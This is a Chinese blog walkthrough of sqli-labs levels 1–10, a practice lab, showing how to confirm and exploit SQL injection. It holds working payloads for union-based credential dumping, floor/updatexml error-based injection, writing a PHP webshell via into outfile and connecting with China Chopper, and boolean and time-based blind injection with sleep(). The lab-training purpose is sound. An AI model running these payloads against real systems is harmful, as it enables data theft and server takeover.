mysql生成ascii格式文本文件,sqli-labs1-10基础掌握

00x01基于错误的GET单引号字符型注入 首先and 1=2判断是否为数值型sql注入,页面正常,不是

23d5ffb5749825c48ddf2524b21c303e.png

d6a035e5a035152b3bbd432bbf068ae3.png

Order by查询字段数,查出来是3

3d9ef37e1a4b936875f82e906d93d783.png

cd76d946a2bfc11bde3546ff18b0b6f1.png

5608d6c03c0e548ad8659066111fd93a.png

3fcb852f72165ec74a1d15ae201d8575.png

发现敏感字段user,password,爆出字段内容union select 1,group_concat(user),group_concat(password) from users

00x02基于错误的get数值型

1.输入?id=3 and 1=2报错,and 1=1不报错,说明此处是数值型注入

2.直接插入sql语句,后面查询过程跟第一关相似。

00x03基于错误的-GET单引号变形字符型注入

1.输入?id=3’报错,从报错内容看出可能存在)闭合,那么试试’)--+发现正常显示,说明此处是用(‘’)的方式闭合字符串的字符型注入

2.sql查询爆数据详细见第一关。

00x04基于错误的GET双引号字符型注入

1.输入?id=3’不报错,输入”报sql错误,错误信息里面看见有括号闭合,那么加上“--+发现页面正常显示,说明这是用(“”)闭合的字符串型注入

2.后面操作详见第一关。

00x05双注入GET单引号字符型注入 9d084f9c796491cb897a18fdb35ac12a.png

因此无法使用联合查询注入

接着我们在url中输入?id=3’页面出现sql报错语句,加上--+,页面正常显示,说明是单引号闭合字符型注入。

d3a27629785a9816266e92cd7da2737d.png

页面出现sql语句报错,在这里我们可以使用一种新的注入方式:报错注入

三种报错注入常用的语句:

(1)通过floor报错:

and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)

其中payload为想要插入的sql语句

该语句将输出字符长度限制为64个字符;

(2)通过updatexml报错

and updatexml(1,payload,1)

该语句的输出长度限制为32位,

并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效;

(3)通过ExtractValue报错

输出字符长度限制为32位

6.这里我们使用第一种floor报错语句进行sql注入

?id=3’and (select 1 from (select count(*),concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

dc6cf384336208d5941d9a900429a656.png

这里的数据库则是security,而不是security1,这个1是floor报错语句中输出的一部分

7.查询所有数据库时

?id=3’and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

31a606df846e6a3c337114a166f64eb8.png

这里发现页面提示我输出信息超过一行,但我们已经使用了group_concat函数,说明这里数据库名组成的字符串长度超过了64位,所以我们需要放弃group_concat函数,而使用limit 0,1来一个个输出

7.运用limit 一个一个的输出

?id=3’and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

79f85ceba1b9ae6129097f65209b9fc6.png

8. 下面我们更该我们的payload一个个的查询我们要找的数据即可,这里不再演示

00x06双注入GET双引号字符型注入

我们只需要将?id=2' 改为 ?id=2"即可

其余过程不再赘述,请参考第五关

00x07导出文件GET字符型注入

1. 当我们输入?id=1'页面报错,说明可能存在单引号闭合注入

2154b649e191daa5b627b413433ccbaf.png

2. 当我们输入?id=1' --+页面显示依然不正常,证明不是单引号闭合,尝试’)依然不正常,尝试‘))--+页面显示正常

8ba085f7f7013a9f2555f26a44f7ef20.png

3. 想了一下,可能会有很多小白和我一样,对数据库file权限和 into outfile这个命令比较陌生,所以在这里科普一下file权限和into outfile这个函数。

数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限

into outfile命令使用的环境:

我们必须知道,服务器上一个可以写入文件的文件夹的完整路径

4.取mysql的目录E:\phpStudy\PHPTutorial\MySQL\data,然后使用

union select 1,2,3 into outfile "E:\\phpStudy\\PHPTutorial\\MySQL\\data\\chao.php"尝试写入文件

7131802a53e5beaf1083157381d18758.png

文件写入成功

5.可以写入文件到数据库,那么我们可以写入一句话木马上传到数据库中

4fb3f09cab87415c06450d50c623cf7b.png

上传成功

6.连接菜刀

或者将my.ini中的secure-file-priv的值改为’’.

00x08布尔型单引号GET盲注

1.?id=2' --+ 页面回显正常,不赘述了,这里是单引号字符型注入

2.页面没有显示位,没有数据库报错信息。

我们先尝试一下是否有file权限

http://127.0.0.1/sqli-labs/Less-8/?id=2' union select 1,2,3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\88888.php"--+

上传成功

当然我尝试下了下布尔和时间盲注,都是可以的

3.盲注涉及函数:

length(str):返回字符串str的长度

substr(str,pos,len):将str从pos位置开始截取len长度的字符返回,需要注意的是这里pos的是从1开始的

mid(str,pos,len):和substr()类似

ascii(str):返回字符串str最左边的acsii码(即首字母的acsii码)

ord():同上,返回acsii码

left(str,len):对字符串str左截取len长度

right(str,len):对字符串str右截取len长度

if(a,b,c):条件判断,如果a为true,返回b,否则返回c

4. 盲注有个固定式:and ascii(substr(A,1,1))>B,或者and if(ascii(substr(A,1,1))>B,1,0),这里的A通常是一个select语句,B则是字符或数字的ascii码,他们的中心思想都是通过substr等截取函数以二分法的形式查询逐个匹配想要的信息,这个过程通常都很耗时,所以建议直接写个盲注脚本来跑

00x09基于时间的GET单引号盲注

1. 时间型盲注和bool型盲注应用场景不同之处在报错的返回上,从less-8我们知道,输入合法时他会返回正常页面“You are in......”,而非法输入时他没有返回任何东西,于是,我们可以根据这个特点跑盲注,通过他不同的返回页面来判断我们匹配的字符是否正确,而在less-9中合法输入与非合法输入它都返回一个页面,就是You are in.....

2. 这样,我们就不能根据他页面的返回内容来判断匹配结果了,因此我们需要用延时函数sleep()对两种输入进行区分,可以构造如下语句:

and if((ascii(substr(database(),1,1)))>114,sleep(5),0)

这里的意思是,如果数据库名首字母的ascii码大于114,那么执行sleep(5),延时5秒,此时标签栏会变成缓冲,于是,我们就可以判断匹配的结果了,盲注脚本与less-8类似,只需要加入sleep函数即可。

3.判断时间型盲注语句:’ and sleep(5)%23

这里用到的是?id=1’ and sleep(5)--+

F12看网络缓存时间,超过5秒就存在时间型盲注

00x10基于时间的双引号盲注

1.输入’和”都显示正常,尝试?id=3’ and sleep(5)--+,没什么延迟,尝试” and sleep(5)--+延迟时间变为6秒多,说明是双引号的时间型盲注。

f764d40eb8ef499a6c0039eb0cd606cc.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值